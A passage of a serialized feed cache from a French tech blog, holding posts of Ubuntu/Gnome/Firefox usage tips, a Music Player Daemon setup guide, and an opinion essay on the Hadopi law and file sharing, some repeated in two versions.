(EDIT 18/01/2011) Je n’ai parlé ici que de l’article 4, mais beaucoup d’autres articles de la LOPPSI sont décriés. Dans ce projet, l’exécutif use de son influence sur le législatif pour affaiblir le judiciaire, ce qui remet violemment en cause la séparation des pouvoirs. Lire par exemple la tribune d’Eva Joly et Sandrine Bélier sur Rue89 : La Loppsi 2 n’est pas notre France.
";s:7:"dateiso";s:15:"20110108_104550";}s:15:"20101105_151157";a:7:{s:5:"title";s:30:"1101 astuces pour Ubuntu 10.10";s:4:"link";s:61:"http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1958";s:7:"pubDate";s:31:"Fri, 05 Nov 2010 14:11:57 +0000";s:11:"description";s:387:"Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques. 1101 est à lire en binaire, ça fait légèrement moins qu’en décimal Gnome Positionnement d’un ascenseur [...]";s:7:"content";s:12212:"Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques.
1101 est à lire en binaire, ça fait légèrement moins qu’en décimal
![]()
Il y a plusieurs interactions possibles avec un « ascenseur » (horizontal ou vertical) :
Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d’aller chercher le curseur) : il suffit de cliquer avec le bouton du milieu à la position désirée dans la barre, le curseur va s’y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.
Ceci fonctionne également pour les sliders, par exemple pour le contrôle du volume dans l’applet de son de Gnome, ou pour la barre d’avancement d’un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).
![]()
Lorsque l’on clique sur l’applet de son de Gnome, un slider permettant de changer le volume apparaît. Mais il est également possible de survoler l’icône de son et d’augmenter ou de diminuer le volume grâce à la molette de la souris, sans cliquer.
Sous Gnome, les barres du haut et du bas accueillent des applets. Avec un clic-droit sur l’un d’entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.

Si l’applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple : glisser-déposer l’applet en utilisant le clic milieu (cliquer et maintenir enfoncé le clic milieu et déplacer l’applet).
Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.
Nautilus permet d’afficher deux panneaux côte à côte en pressant la touche F3.

Une seconde pression sur F3 repasse en mode « un seul panneau » (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l’utilisation de plusieurs fenêtres ou même d’onglets.
Pour renommer un fichier dans Nautilus, vous connaissez sûrement la touche F2, qui renomme en présélectionnant le nom du fichier sans l’extension :

Mais il est également possible de renommer en présélectionnant le nom du fichier avec l’extension, grâce à Shift+F2.
EDIT : Ou alors, deux fois F2.
Cette fonctionnalité est assez connue et utilisée je pense, puisqu’elle fonctionne avec quasiment tous les gestionnaires de fenêtres : le déplacement d’une fenêtre grâce à Alt+clic gauche. Elle est très pratique, car elle évite d’aller chercher la barre de titre pour déplacer une fenêtre.
De la même manière, il est possible de redimensionner une fenêtre grâce à Alt+clic milieu. Celle-ci est quasiment indispensable, tellement le fait d’aller chercher un bord de fenêtre est « coûteux ».
La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche Alt et que vous appuyez sur le clic milieu au-dessus d’une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la « partie » de la fenêtre que vous survolez).

Grâce à Compiz, il est possible de capturer très simplement une zone de l’écran, grâce à Super+clic gauche (la touche Super est la touche Windows sur la majorité des claviers) :

Pour cela, il faut activer le plug-in « Capture d’écran » dans ccsm (compizconfig-settings-manager doit être installé), et choisir un répertoire de destination (le bureau par exemple, j’en avais déjà parlé ici).
Par défaut, le changement de bureau est désactivé lors du déplacement d’une fenêtre sur un bord et lors d’un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l’activer.
Cela se configure dans ccsm (là encore, compizconfig-settings-manager doit être installé).
Pour changer de bureau lors d’un déplacement de fenêtre au bord de l’écran : Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher).
Pour changer de bureau lors d’un scroll : Changeur de bureau → Desktop-based viewport switching → Bureau suivant = Button5 ; Bureau précédent = Button4.

Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l’utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de Gnome, pour une page que je veux lire plus tard.
Pour cela, il suffit de glisser-déposer le petit icône (le favicon) à gauche de la barre d’adresse vers la barre de Gnome. Il est par contre regrettable que l’icône du raccourci ainsi créé ne soit pas le favicon.
Lorsqu’une liste déroulante propose des résultats déjà entrés auparavant (à partir de l’historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en survolant avec la souris l’entrée correspondante et en appuyant sur Shift+Suppr.

Cela fonctionne dans la barre d’adresse, dans la barre de recherche et dans toute entrée de formulaire d’une page web.
Lorsqu’une URL est présente dans le presse-papier, il est possible de la charger dans Firefox avec un simple clic milieu. Pour activer cette fonctionnalité, il faut taper about:config dans la barre d’adresse et passer la valeur de middlemouse.contentLoadURL à true.
Il suffit alors de surligner une URL (dans un fichier texte par exemple) puis de cliquer milieu dans le contenu d’une page dans Firefox (sur un espace « vide », pas sur un lien ou dans un champ de formulaire).
EDIT : Ou sans modifier la configuration par défaut, voir commentaire #1.
Les notifications de Firefox ne sont pas intégrées au système : par défaut c’est un rectangle qui s’ouvre en bas à droite.
Pour utiliser le système de notification d’Ubuntu, il suffit d’installer le paquet xul-ext-notify (anciennement firefox-notify) et de redémarrer Firefox. C’est dommage qu’il ne soit pas installé par défaut.

Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d’autres, n’hésitez pas à les détailler.
Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques.
1101 est à lire en binaire, ça fait légèrement moins qu’en décimal ;-)

Il y a plusieurs interactions possibles avec un “ascenseur” (horizontal ou vertical) :
Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d’aller chercher le curseur) : il suffit de cliquer avec le bouton du milieu à la position désirée dans la barre, le curseur va s’y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.
Ceci fonctionne également pour les sliders, par exemple pour le contrôle du volume dans l’applet de son de Gnome, ou pour la barre d’avancement d’un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).

Lorsque l’on clique sur l’applet de son de Gnome, un slider permettant de changer le volume apparaît. Mais il est également possible de survoler l’icône de son et d’augmenter ou de diminuer le volume grâce à la molette de la souris, sans cliquer.
Sous Gnome, les barres du haut et du bas accueillent des applets. Avec un clic-droit sur l’un d’entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.

Si l’applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple : glisser-déposer l’applet en utilisant le clic milieu (cliquer et maintenir enfoncé le clic milieu et déplacer l’applet).
Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.
Nautilus permet d’afficher deux panneaux côte à côte en pressant la touche F3.

Une seconde pression sur F3 repasse en mode “un seul panneau” (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l’utilisation de plusieurs fenêtres ou même d’onglets.
Pour renommer un fichier dans Nautilus, vous connaissez sûrement la touche F2, qui renomme en présélectionnant le nom du fichier sans l’extension :

Mais il est également possible de renommer en présélectionnant le nom du fichier avec l’extension, grâce à Shift+F2.
EDIT : Ou alors, deux fois F2.
Cette fonctionnalité est assez connue et utilisée je pense, puisqu’elle fonctionne avec quasiment tous les gestionnaires de fenêtres : le déplacement d’une fenêtre grâce à Alt+clic gauche. Elle est très pratique, car elle évite d’aller chercher la barre de titre pour déplacer une fenêtre.
De la même manière, il est possible de redimensionner une fenêtre grâce à Alt+clic milieu. Celle-ci est quasiment indispensable, tellement le fait d’aller chercher un bord de fenêtre est “coûteux”.
La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche Alt et que vous appuyez sur le clic milieu au-dessus d’une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la “partie” de la fenêtre que vous survolez).

Grâce à Compiz, il est possible de capturer très simplement une zone de l’écran, grâce à Super+clic gauche (la touche Super est la touche Windows sur la majorité des claviers) :

Pour cela, il faut activer le plug-in “Capture d’écran” dans ccsm
(compizconfig-settings-manager doit être installé), et choisir un répertoire
de destination (le bureau par exemple, j’en avais déjà parlé
ici).
Par défaut, le changement de bureau est désactivé lors du déplacement d’une fenêtre sur un bord et lors d’un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l’activer.
Cela se configure dans ccsm (là encore, compizconfig-settings-manager doit
être installé).
Pour changer de bureau lors d’un déplacement de fenêtre au bord de l’écran : Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher).
Pour changer de bureau lors d’un scroll : Changeur de bureau → Desktop-based viewport switching → Bureau suivant = Button5 ; Bureau précédent = Button4.

Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l’utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de Gnome, pour une page que je veux lire plus tard.
Pour cela, il suffit de glisser-déposer le petit icône (le favicon) à gauche de la barre d’adresse vers la barre de Gnome. Il est par contre regrettable que l’icône du raccourci ainsi créé ne soit pas le favicon.
Lorsqu’une liste déroulante propose des résultats déjà entrés auparavant (à partir de l’historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en survolant avec la souris l’entrée correspondante et en appuyant sur Shift+Suppr.

Cela fonctionne dans la barre d’adresse, dans la barre de recherche et dans toute entrée de formulaire d’une page web.
Lorsqu’une URL est présente dans le presse-papier, il est possible de la charger
dans Firefox avec un simple clic milieu. Pour activer cette fonctionnalité, il
faut taper about:config dans la barre d’adresse et passer la valeur de
middlemouse.contentLoadURL à true.
Il suffit alors de surligner une URL (dans un fichier texte par exemple) puis de cliquer milieu dans le contenu d’une page dans Firefox (sur un espace “vide”, pas sur un lien ou dans un champ de formulaire).
EDIT : Ou sans modifier la configuration par défaut, grâce à un clic milieu sur le favicon à gauche de la barre d’adresse.
Les notifications de Firefox ne sont pas intégrées au système : par défaut c’est un rectangle qui s’ouvre en bas à droite.
Pour utiliser le système de notification d’Ubuntu, il suffit d’installer le
paquet xul-ext-notify (anciennement firefox-notify) et de redémarrer
Firefox. C’est dommage qu’il ne soit pas installé par défaut.

Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d’autres, n’hésitez pas à les détailler. ;-)
";s:7:"dateiso";s:15:"20101105_141157";}s:15:"20100928_222546";a:7:{s:5:"title";s:50:"Music Player Daemon (MPD) : la musique à distance";s:4:"link";s:76:"http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1907";s:7:"pubDate";s:31:"Tue, 28 Sep 2010 20:25:46 +0000";s:11:"description";s:371:"MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée). Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que [...]";s:7:"content";s:6391:"MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).
Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s’il est relié à un écran).
L’installation est extrêmement simple (testé sur Ubuntu 10.10), il suffit d’installer mpd :
sudo apt-get install mpd
Ensuite, il y a quelques petites lignes à modifier dans le fichier de configuration /etc/mpd.conf.
Tout d’abord, il faut définir le répertoire du serveur qui contient la musique :
music_directory "/home/rom/Musique"
Il vaut mieux commenter la ligne bind_to_address (pour éviter pas mal de problèmes) :
#bind_to_address "localhost"
Pour que MPD ne monopolise pas le son de tout le système, commenter la ligne :
# device "hw:0,0" # optional
Enfin, pour pouvoir changer le volume, décommenter la ligne :
mixer_type "software"
La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour :
sudo mpd --create-db
(le serveur doit être stoppé pour mettre à jour la base de cette manière)
Des logiciels clients permettent également de mettre à jour la base d’un simple clic.
Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles par tous (en particulier par l’utilisateur mpd). Si ce n’est pas le cas, modifiez les droits avec :
chmod +r -R /home/rom/Musique
Pour démarrer le serveur :
sudo service mpd start
Pour le stopper :
sudo service mpd stop
Il démarrera automatiquement à chaque démarrage du système.
Les clients permettent de gérer la lecture à distance. Il est possible d’ouvrir plusieurs clients à la fois (un sur l’ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s’arrête pas lors de la fermeture du client. Chaque client a juste besoin de l’IP du serveur et du port (par défaut 6600).
Il en existe de nombreux pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d’ergonomie. Globalement, ils sont moins agréables à utiliser qu’un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).
Je vais en présenter deux, un pour Gnome et un pour Android.
Après avoir testé de nombreux clients pour PC, mon choix s’est porté sur Ario :

Quelques avantages qui m’ont convaincu :
Du côté d’Android, il y a beaucoup moins de clients. J’ai choisi DMix/MPDroid (qui est un fork de PMix) :

C’est un simple fichier apk à installer.
Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l’album sélectionné à la liste de lecture alors qu’une pression courte permet de naviguer vers les titres de l’album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C’est bon à savoir
Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d’un récent billet.
Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l’ordinateur).
";s:7:"dateiso";s:15:"20100928_222546";}s:15:"20100928_202546";a:7:{s:5:"title";s:51:"Music Player Daemon (MPD) : la musique à distance";s:4:"link";s:75:"http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance";s:4:"guid";s:75:"http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance";s:7:"pubDate";s:25:"2010-09-28T20:25:46+02:00";s:11:"description";s:0:"";s:7:"content";s:5923:"MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).
Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s’il est relié à un écran).
L’installation est extrêmement simple (testé sur Ubuntu 10.10), il suffit
d’installer mpd :
sudo apt-get install mpd
Ensuite, il y a quelques petites lignes à modifier dans le fichier de
configuration /etc/mpd.conf. Tout d’abord, il faut définir le répertoire du
serveur qui contient la musique :
music_directory "/home/rom/Musique"
Il vaut mieux commenter la ligne bind_to_address (pour éviter pas mal de
problèmes) :
#bind_to_address "localhost"
Pour que MPD ne monopolise pas le son de tout le système, commenter la ligne :
# device "hw:0,0" # optional
Enfin, pour pouvoir changer le volume, décommenter la ligne :
mixer_type "software"
La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour :
sudo mpd --create-db
(le serveur doit être stoppé pour mettre à jour la base de cette manière)
EDIT : L’option --create-db n’existe plus côté serveur, la mise à jour de la
base de données doit être demandée par un client. Par exemple :
mpc -h host update
Des logiciels clients permettent également de mettre à jour la base d’un simple clic.
Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles
par tous (en particulier par l’utilisateur mpd). Si ce n’est pas le cas,
modifiez les droits avec :
chmod +r -R /home/rom/Musique
Pour démarrer le serveur :
sudo service mpd start
Pour le stopper :
sudo service mpd stop
Il démarrera automatiquement à chaque démarrage du système.
Les clients permettent de gérer la lecture à distance. Il est possible d’ouvrir plusieurs clients à la fois (un sur l’ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s’arrête pas lors de la fermeture du client. Chaque client a juste besoin de l’IP du serveur et du port (par défaut 6600).
Il en existe [de nombreux][] pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d’ergonomie. Globalement, ils sont moins agréables à utiliser qu’un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).
Je vais en présenter deux, un pour Gnome et un pour Android.
Après avoir testé de nombreux clients pour PC, mon choix s’est porté sur Ario :

Quelques avantages qui m’ont convaincu :
Du côté d’Android, il y a beaucoup moins de clients. J’ai choisi DMix/MPDroid :

C’est un simple fichier apk à installer.
Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l’album sélectionné à la liste de lecture alors qu’une pression courte permet de naviguer vers les titres de l’album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C’est bon à savoir ;-)
Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d’un récent billet.
Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l’ordinateur).
";s:7:"dateiso";s:15:"20100928_202546";}s:15:"20100807_005247";a:7:{s:5:"title";s:26:"Piratage ou usage commun ?";s:4:"link";s:55:"http://blog.rom1v.com/2010/08/piratage-ou-usage-commun/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1816";s:7:"pubDate";s:31:"Fri, 06 Aug 2010 22:52:47 +0000";s:11:"description";s:398:"Lorsqu’on parle de la loi Hadopi, c’est souvent pour mettre en évidence son caractère inapplicable ou pour dénoncer son atteinte aux libertés fondamentales. Il me semble que beaucoup sont d’accord pour « lutter contre le piratage, mais pas comme ça ». C’est ce que je pensais avant. Pour une fois, je voudrais évoquer les fondements mêmes de [...]";s:7:"content";s:10687:"Lorsqu’on parle de la loi Hadopi, c’est souvent pour mettre en évidence son caractère inapplicable ou pour dénoncer son atteinte aux libertés fondamentales. Il me semble que beaucoup sont d’accord pour « lutter contre le piratage, mais pas comme ça ». C’est ce que je pensais avant.
Pour une fois, je voudrais évoquer les fondements mêmes de la guerre contre le partage, le « fléau » qu’elle s’est donné comme objectif de combattre. Je vous livre donc mes quelques réflexions sur ce qui est appelé piratage.
Supposons qu’on invente une machine capable de dupliquer les objets matériels, accessible à tous. Plus personne ne serait pauvre, plus personne ne mourrait de faim : il suffirait de dupliquer les oranges, les baguettes de pain, etc. Les bases de l’économie de la distribution seraient totalement ruinées. Les industries alimentaires, textiles, automobiles… crieraient au scandale : tout le monde serait capable de copier la voiture de son voisin. D’ailleurs, que deviendrait l’argent ? Tout le monde pourrait dupliquer ses billets et ses pièces…
De la même manière, si demain on inventait un téléporteur permettant à chacun de se déplacer d’un point du globe à un point autre instantanément et gratuitement, que deviendraient les entreprises de transport, les constructeurs automobiles et les stations-services ? Sensibiliserions-nous la population sur les ravages des téléporteurs, en la culpabilisant de faire perdre des emplois à la SNCF ou chez Air France ?
Faudrait-il nier les avantages induits par ces évolutions, et tenter à tout prix de les restreindre ou de les interdire, en traitant de pirates ceux qui copient une orange ou qui « volent » la SNCF en se téléportant ? Faudrait-il distinguer la « téléportation légale », celle qui ne se ferait que de gare en gare après l’achat d’un ticket, de la « téléportation illégale », qu’on pourrait utiliser n’importe où gratuitement et sans contraintes ? D’ailleurs, comment pourrait-on contrôler que personne ne se téléporterait pas « illégalement » sans instaurer une surveillance généralisée de la population ?
Mettrions-nous tout ceci en œuvre afin de préserver les modèles économiques en place dans le monde d’avant ces innovations ?
Ou alors faudrait-il réfléchir à une société adaptée à cette (r)évolution ?
Internet est à la fois un copieur et un téléporteur : il permet de dupliquer à distance !
Ce n’est pas un supermarché géant, ni un gadget pour geeks, ni un outil qui ne sert qu’à consulter les résultats sportifs… C’est beaucoup plus que cela ! C’est sans doute l’invention qui modifie le plus en profondeur la société en si peu de temps. Mais vu que c’est le sujet de ce billet, je ne vais parler que de la toute petite partie qui concerne l’accès à la culture « sous copyright ».
La dématérialisation a permis à tous de copier, car un contenu numérique est intrinsèquement copiable, gratuitement. Vendre de la copie dans un tel environnement est suicidaire. Ce qui pose problème, c’est que justement c’était le modèle économique du monde matériel, donc tout est remis en cause. Avant, il fallait passer par les distributeurs pour obtenir une copie, plus maintenant.
On est dans le même cas qu’avec le téléporteur : il serait illusoire de vendre un déplacement en avion ou en train. On pourrait faire toutes les sensibilisations du monde, en expliquant qu’en se téléportant gratuitement on va faire perdre des emplois à la SNCF et chez Air France, la valeur d’un « déplacement » serait intrinsèquement nulle, ce serait invendable.
Ce qui a de la valeur, c’est l’œuvre en elle-même (cette valeur n’est d’ailleurs pas forcément essentiellement monétaire), ce n’est pas son support. Le problème, c’est que financer l’œuvre en elle-même est délicat. Jusqu’ici, dans le monde matériel, l’œuvre était forcément fixée sur un support (un livre par exemple, ou un CD), il suffisait donc de faire payer le support, et l’œuvre était payée (le créateur n’en touchait qu’une toute petite partie, mais ça c’est une autre histoire)… On évitait donc le problème en vendant chaque instance de l’œuvre, plutôt que de financer l’œuvre.
Mais Internet a fondamentalement redéfini les règles : il a clairement séparé œuvre et support (de la même manière qu’un téléporteur redéfinirait les règles physiques dans notre société). Faire payer le support n’est donc plus pertinent. De plus, cette séparation permet à l’œuvre d’être dupliquable à l’infini et gratuitement par tous. La décorrélation entre l’acquisition d’une nouvelle copie et son financement est donc inéluctable.
Cette séparation est déjà en place depuis plusieurs années : chacun peut obtenir une nouvelle copie d’une œuvre dématérialisée sans pour autant la payer. Ce qu’il faut, c’est financer la création, pas interdire les copies ! Rien ne justifie que les œuvres soient payées par la vente à l’unité de copies. D’ailleurs, quand on entend « il faut acheter les albums pour que les créateurs soient rémunérés », on pourrait également dire « il faut acheter les émissions pour que les animateurs TV soient rémunérés ». On voit bien que le travail n’a pas à être rémunéré par l’accès unitaire de chacun au fruit de ce travail… Copier n’est pas voler. Partager non plus.
Mais la transition est brutale, beaucoup trop brutale pour avoir le temps de mettre en place des mesures justes et adaptées. Pas pour l’enrayer, mais pour l’accompagner. Du coup, le choix qui est fait pour l’instant est de tenter d’empêcher cette révolution qui a déjà eu lieu. C’est voué à l’échec.
Rien n’est fait pour résoudre le problème. Au contraire, tout est mis en œuvre pour tenter de réassocier œuvre et support (support qui a la caractéristique de ne pas être copiable gratuitement, même s’il est virtuel comme avec les DRM), plutôt que de profiter de l’immense opportunité de la diffusion illimitée des œuvres (plusieurs études montrent d’ailleurs que le partage de fichiers a un effet global positif sur l’économie). Des campagnes de propagande, maintenant inscrites dans la loi pour expliquer aux petits enfants dans les écoles, veulent faire croire que partager, c’est mal, que ça détruit la création, alors qu’au contraire ça la diffuse et la fait vivre.
Mais il faut un modèle pour financer cette création. Que ça soit la licence globale, la SARD ou autre… Je n’ai pas LA solution. J’en ai juste la principale caractéristique : le financement doit être décorrélé de la vente unitaire de copies. Évidemment, les principales entreprises à se battre contre cette évolution sont celles qui vivent en vendant des copies. Mais a-t-on fait une loi pour sauver les vendeurs de lampes à huile quand l’électricité est arrivée ?
Peut-être trouvez-vous les propositions alternatives irréalistes ou stupides. Mais que pensez-vous alors de baser un modèle économique sur la vente de quelque chose qui est accessible à tous gratuitement, la copie ?
Voilà ce que m’a appris la loi Hadopi sur le « piratage ». Avant je pensais que le « piratage », c’était mal, mais que c’était difficilement réversible car très répandu (« et puis après tout, tout le monde le fait »). Maintenant, j’ai compris que ce qui est appelé « piratage » n’est autre que l’usage commun des œuvres dans une société où la révolution numérique aurait été prise en compte, l’usage normal qui rencontre la résistance des modèles d’avant la dématérialisation…
Comme quoi, Albanel avait raison, la loi Hadopi a bien été pédagogique !
Si vous vous intéressez un peu au sujet, mon analyse n’a sans doute pas grand chose d’original. Ça ne m’empêche pas de la partager, et puis après tout, tout travail de création n’est-il pas un dérivé ?
Je vous recommande principalement, si ce n’est pas déjà fait, la lecture du livre Confessions d’un voleur, écrit par Laurent Chemla en 2002, mais qui est on ne peut plus d’actualité. C’est d’après moi une référence ! Il est disponible en version papier mais également en accès libre dans les formats ouverts qui vont bien (mais pas sous licence libre).
Pour l’anecdote, j’ai commandé la version papier (comme quoi, on peut acheter quelque chose de gratuit), mais je ne l’ai pas encore reçue car « la poste n’a pas pu localiser mon adresse ». Le filtrage d’Internet aurait-il des effets de bord jusqu’à dans le monde physique ?
EDIT : Je poursuis ma réflexion dans ce billet, où je détaille pourquoi je pense que la guerre contre le partage est une manifestation d’une problématique beaucoup plus générale.
";s:7:"dateiso";s:15:"20100807_005247";}s:15:"20100806_225247";a:7:{s:5:"title";s:27:"Piratage ou usage commun ?";s:4:"link";s:54:"http://blog.rom1v.com/2010/08/piratage-ou-usage-commun";s:4:"guid";s:54:"http://blog.rom1v.com/2010/08/piratage-ou-usage-commun";s:7:"pubDate";s:25:"2010-08-06T22:52:47+02:00";s:11:"description";s:0:"";s:7:"content";s:9811:"
Lorsqu’on parle de la loi Hadopi, c’est souvent pour mettre en évidence son caractère inapplicable ou pour dénoncer son atteinte aux libertés fondamentales. Il me semble que beaucoup sont d’accord pour “lutter contre le piratage, mais pas comme ça”. C’est ce que je pensais avant.
Pour une fois, je voudrais évoquer les fondements mêmes de la guerre contre le partage, le “fléau” qu’elle s’est donné comme objectif de combattre. Je vous livre donc mes quelques réflexions sur ce qui est appelé piratage.
Supposons qu’on invente une machine capable de dupliquer les objets matériels, accessible à tous. Plus personne ne serait pauvre, plus personne ne mourrait de faim : il suffirait de dupliquer les oranges, les baguettes de pain, etc. Les bases de l’économie de la distribution seraient totalement ruinées. Les industries alimentaires, textiles, automobiles… crieraient au scandale : tout le monde serait capable de copier la voiture de son voisin. D’ailleurs, que deviendrait l’argent ? Tout le monde pourrait dupliquer ses billets et ses pièces…
De la même manière, si demain on inventait un téléporteur permettant à chacun de se déplacer d’un point du globe à un point autre instantanément et gratuitement, que deviendraient les entreprises de transport, les constructeurs automobiles et les stations-services ? Sensibiliserions-nous la population sur les ravages des téléporteurs, en la culpabilisant de faire perdre des emplois à la SNCF ou chez Air France ?
Faudrait-il nier les avantages induits par ces évolutions, et tenter à tout prix de les restreindre ou de les interdire, en traitant de pirates ceux qui copient une orange ou qui “volent” la SNCF en se téléportant ? Faudrait-il distinguer la “téléportation légale”, celle qui ne se ferait que de gare en gare après l’achat d’un ticket, de la “téléportation illégale”, qu’on pourrait utiliser n’importe où gratuitement et sans contraintes ? D’ailleurs, comment pourrait-on contrôler que personne ne se téléporterait pas “illégalement” sans instaurer une surveillance généralisée de la population ?
Mettrions-nous tout ceci en œuvre afin de préserver les modèles économiques en place dans le monde d’avant ces innovations ?
Ou alors faudrait-il réfléchir à une société adaptée à cette (r)évolution ?
Internet est à la fois un copieur et un téléporteur : il permet de dupliquer à distance !
Ce n’est pas un supermarché géant, ni un gadget pour geeks, ni un outil qui ne sert qu’à consulter les résultats sportifs… C’est beaucoup plus que cela ! C’est sans doute l’invention qui modifie le plus en profondeur la société en si peu de temps. Mais vu que c’est le sujet de ce billet, je ne vais parler que de la toute petite partie qui concerne l’accès à la culture “sous copyright”.
La dématérialisation a permis à tous de copier, car un contenu numérique est intrinsèquement copiable, gratuitement. Vendre de la copie dans un tel environnement est suicidaire. Ce qui pose problème, c’est que justement c’était le modèle économique du monde matériel, donc tout est remis en cause. Avant, il fallait passer par les distributeurs pour obtenir une copie, plus maintenant.
On est dans le même cas qu’avec le téléporteur : il serait illusoire de vendre un déplacement en avion ou en train. On pourrait faire toutes les sensibilisations du monde, en expliquant qu’en se téléportant gratuitement on va faire perdre des emplois à la SNCF et chez Air France, la valeur d’un “déplacement” serait intrinsèquement nulle, ce serait invendable.
Ce qui a de la valeur, c’est l’œuvre en elle-même (cette valeur n’est d’ailleurs pas forcément essentiellement monétaire), ce n’est pas son support. Le problème, c’est que financer l’œuvre en elle-même est délicat. Jusqu’ici, dans le monde matériel, l’œuvre était forcément fixée sur un support (un livre par exemple, ou un CD), il suffisait donc de faire payer le support, et l’œuvre était payée (le créateur n’en touchait qu’une toute petite partie, mais ça c’est une autre histoire)… On évitait donc le problème en vendant chaque instance de l’œuvre, plutôt que de financer l’œuvre.
Mais Internet a fondamentalement redéfini les règles : il a clairement séparé œuvre et support (de la même manière qu’un téléporteur redéfinirait les règles physiques dans notre société). Faire payer le support n’est donc plus pertinent. De plus, cette séparation permet à l’œuvre d’être dupliquable à l’infini et gratuitement par tous. La décorrélation entre l’acquisition d’une nouvelle copie et son financement est donc inéluctable.
